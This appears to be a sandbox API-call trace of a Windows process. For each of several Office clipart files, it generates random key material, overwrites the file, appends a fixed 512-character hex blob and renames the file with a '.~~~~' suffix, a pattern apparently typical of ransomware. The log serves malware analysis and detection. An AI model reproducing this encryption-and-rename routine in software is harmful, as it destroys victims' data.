	[0097.403] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0097.403] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0097.403] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0097.403] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2840c70
	[0097.403] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0097.403] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2840c70 | out: hHeap=0x300000) returned 1
	[0097.403] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0097.403] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0097.403] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0097.403] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0097.403] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x280c118
	[0097.403] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0097.403] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0097.403] GetLastError () returned 0x0
	[0097.404] GetLastError () returned 0x0
	[0097.404] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0097.404] GetLastError () returned 0x0
	[0097.404] GetLastError () returned 0x0
	[0097.411] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xffffedfc, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0097.411] WriteFile (in: hFile=0xc4, lpBuffer=0x292b060*, nNumberOfBytesToWrite=0x1204, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x292b060*, lpNumberOfBytesWritten=0x1f8fec0*=0x1204, lpOverlapped=0x0) returned 1
	[0097.411] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x292b060 | out: hHeap=0x300000) returned 1
	[0097.411] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0097.411] WriteFile (in: hFile=0xc4, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0097.412] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0097.412] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0097.412] CloseHandle (hObject=0xc4) returned 1
	[0097.412] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0097.412] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105974.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105974.wmf.~~~~")) returned 1
	[0097.413] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0097.413] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0097.413] GetLastError () returned 0x0
	[0097.413] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0097.414] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0097.414] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0097.414] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0097.414] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0097.414] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0097.414] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21740446409) returned 1
	[0097.414] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa3c571d0, dwHighDateTime=0x1d60e1e)) 
	[0097.415] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0097.415] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0097.415] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0097.415] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2840ca8
	[0097.415] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0097.415] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2840ca8 | out: hHeap=0x300000) returned 1
	[0097.415] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0097.415] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0097.415] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0097.415] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0097.415] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x280c248
	[0097.415] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0097.415] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0097.415] GetLastError () returned 0x0
	[0097.416] GetLastError () returned 0x0
	[0097.416] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0097.416] GetLastError () returned 0x0
	[0097.416] GetLastError () returned 0x0
	[0097.418] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xffffd8b4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0097.418] WriteFile (in: hFile=0xc4, lpBuffer=0x292b060*, nNumberOfBytesToWrite=0x274c, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x292b060*, lpNumberOfBytesWritten=0x1f8fec0*=0x274c, lpOverlapped=0x0) returned 1
	[0097.418] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x292b060 | out: hHeap=0x300000) returned 1
	[0097.419] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0097.419] WriteFile (in: hFile=0xc4, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0097.419] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0097.419] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0097.419] CloseHandle (hObject=0xc4) returned 1
	[0097.419] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0097.419] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106020.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106020.wmf.~~~~")) returned 1
	[0097.420] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0097.420] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0097.420] GetLastError () returned 0x0
	[0097.420] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0097.421] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0097.421] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0097.421] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0097.421] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0097.421] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0097.421] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21741123121) returned 1
	[0097.421] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa3c7d330, dwHighDateTime=0x1d60e1e)) 
	[0097.421] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0097.421] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0097.421] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0097.421] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2840ce0
	[0097.421] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0097.421] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2840ce0 | out: hHeap=0x300000) returned 1
	[0097.421] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0097.421] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0097.421] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0097.422] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0097.422] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x280c2e0
	[0097.422] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0097.422] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0097.422] GetLastError () returned 0x0
	[0097.422] GetLastError () returned 0x0
	[0097.422] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0097.422] GetLastError () returned 0x0
	[0097.422] GetLastError () returned 0x0
	[0097.427] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xffffe94c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0097.427] WriteFile (in: hFile=0xc4, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x16b4, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x1f8fec0*=0x16b4, lpOverlapped=0x0) returned 1
	[0097.427] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0097.427] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0097.428] WriteFile (in: hFile=0xc4, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0097.428] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0097.428] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0097.428] CloseHandle (hObject=0xc4) returned 1
	[0097.428] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0097.428] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106124.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106124.wmf.~~~~")) returned 1
	[0097.429] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0097.429] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0097.429] GetLastError () returned 0x0
	[0097.429] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0097.430] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0097.430] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0097.430] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0097.430] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0097.431] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0097.431] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21742068661) returned 1
	[0097.431] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa3ca3490, dwHighDateTime=0x1d60e1e)) 
	[0097.431] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0097.431] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0097.431] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0097.431] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2840d50
	[0097.431] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0097.431] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2840d50 | out: hHeap=0x300000) returned 1
	[0097.431] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0097.431] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0097.431] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0097.431] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0097.431] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x280c378
	[0097.431] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0097.431] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0097.431] GetLastError () returned 0x0
	[0097.432] GetLastError () returned 0x0
	[0097.432] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0097.432] GetLastError () returned 0x0
	[0097.432] GetLastError () returned 0x0
	[0097.540] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xffffd184, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0097.540] WriteFile (in: hFile=0xc4, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x2e7c, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x1f8fec0*=0x2e7c, lpOverlapped=0x0) returned 1
	[0097.541] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0097.541] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0097.541] WriteFile (in: hFile=0xc4, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0097.541] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0097.541] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0097.542] CloseHandle (hObject=0xc4) returned 1
	[0097.542] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0097.542] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106208.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106208.wmf.~~~~")) returned 1
	[0097.543] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0097.543] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0097.543] GetLastError () returned 0x0
	[0097.543] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0097.544] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0097.544] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0097.544] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0097.544] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0097.544] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0097.544] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21753434624) returned 1
	[0097.544] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa3dade30, dwHighDateTime=0x1d60e1e)) 
	[0097.544] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0097.544] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0097.544] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0097.544] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2840df8
	[0097.544] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0097.545] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2840df8 | out: hHeap=0x300000) returned 1
	[0097.545] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0097.545] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0097.545] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0097.545] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0097.545] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x280c4a8
	[0097.545] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0097.545] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0097.545] GetLastError () returned 0x0
	[0097.545] GetLastError () returned 0x0
	[0097.545] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0097.545] GetLastError () returned 0x0
	[0097.545] GetLastError () returned 0x0
	[0097.547] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xfffff434, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0097.547] WriteFile (in: hFile=0xc4, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0xbcc, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x1f8fec0*=0xbcc, lpOverlapped=0x0) returned 1
	[0097.548] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0097.548] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0097.548] WriteFile (in: hFile=0xc4, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0097.548] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0097.548] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0097.549] CloseHandle (hObject=0xc4) returned 1
	[0097.549] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0097.549] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107024.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107024.wmf.~~~~")) returned 1
	[0097.549] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0097.549] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0097.549] GetLastError () returned 0x0
	[0097.550] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0097.551] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0097.551] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0097.551] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0097.551] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
